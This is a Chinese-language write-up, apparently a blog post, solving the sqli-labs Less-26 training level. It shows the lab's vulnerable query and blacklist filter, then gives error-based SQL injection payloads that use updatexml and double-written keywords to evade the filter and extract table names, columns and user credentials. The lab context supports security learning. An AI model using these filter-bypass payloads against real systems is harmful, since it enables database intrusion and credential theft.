1. 思路🚀
本關的SQL語句為:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入類型:字符串型(單引號包裹)、GET操作
- 提示:參數需以
'
閉合 - 關鍵參數:
id
php
輸出語句的部分代碼:
if($row)
{echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}
else
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";
}
本關卡對許多字符都進行過濾,尤其是空格。我們需要對字符進行替換,同時采用報錯盲注(空格相對少),替換規則如下。
or
:oorr
and
:aandnd
空格
:()
包裹
function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id;
}
2. 手工注入步驟🎯
我的地址欄是:http://localhost:8081/Less-26/
,從?id=
開始,只需要將下面的sql語句粘貼即可。我把正常的注入語句和變體的注入語句一并放在下面,方便對比。
2.1. 獲取基本信息?
注意and
,需要修改為aandnd
1' and updatexml(1,concat(1,database()),3) and '1
1'aandnd(updatexml(1,concat(1,database()),3))aandnd'1
2.2. 獲取表名?
注意and
,需要修改為aandnd
,注意information_schema
中的or
,需要修改為infoorrmation_schema
1' and updatexml(1,concat(1,select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3) and' 1
1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)= 'security')),3))aandnd'1
2.3. 獲取字段?
注意and
,需要修改為aandnd
,注意information_schema
中的or
,需要修改為infoorrmation_schema
1' and updatexml(1,concat(1,select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name='users'),3) and '1
1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)= 'security'aandnd(table_name)='users')),3))aandnd'1
2.4. 獲取數據?
注意and
,需要修改為aandnd
,由于updatexml
有字符長度限制,所以對username
進行了分批
同理獲取possword
,注意password
中的or
,需要修改為passwoord
1' and updatexml(1,concat(1,select substring(group_concat(username),1,30) from users),3) and' 1
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),1,30))from(users))),3))aandnd'1
# 下一批
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),31,30))from(users))),3))aandnd'1
2.5. 參數匯總表?
參數 | 作用 | 示例 |
---|---|---|
' | 閉合符號 | id=1' |
updatexml() | 報錯注入函數 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函數 | concat('a','b') 或 concat(1,(select database())) |
group_concat() | 合并結果 | group_concat(table_name) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
3. 總結🏁
本關卡代碼對許多字符進行過濾來防止SQL注入,但攻擊者仍可通過雙寫(如oorr
,aandnd
)、邏輯運算符替代或URL
編碼的方式等方式輕松繞過。
相似關卡1,見"sqli-labs:Less-25關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149886766?spm=1011.2415.3001.5331
相似關卡2,見"sqli-labs:Less-25a關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331
聲明:本文僅用于安全學習,嚴禁非法測試! ???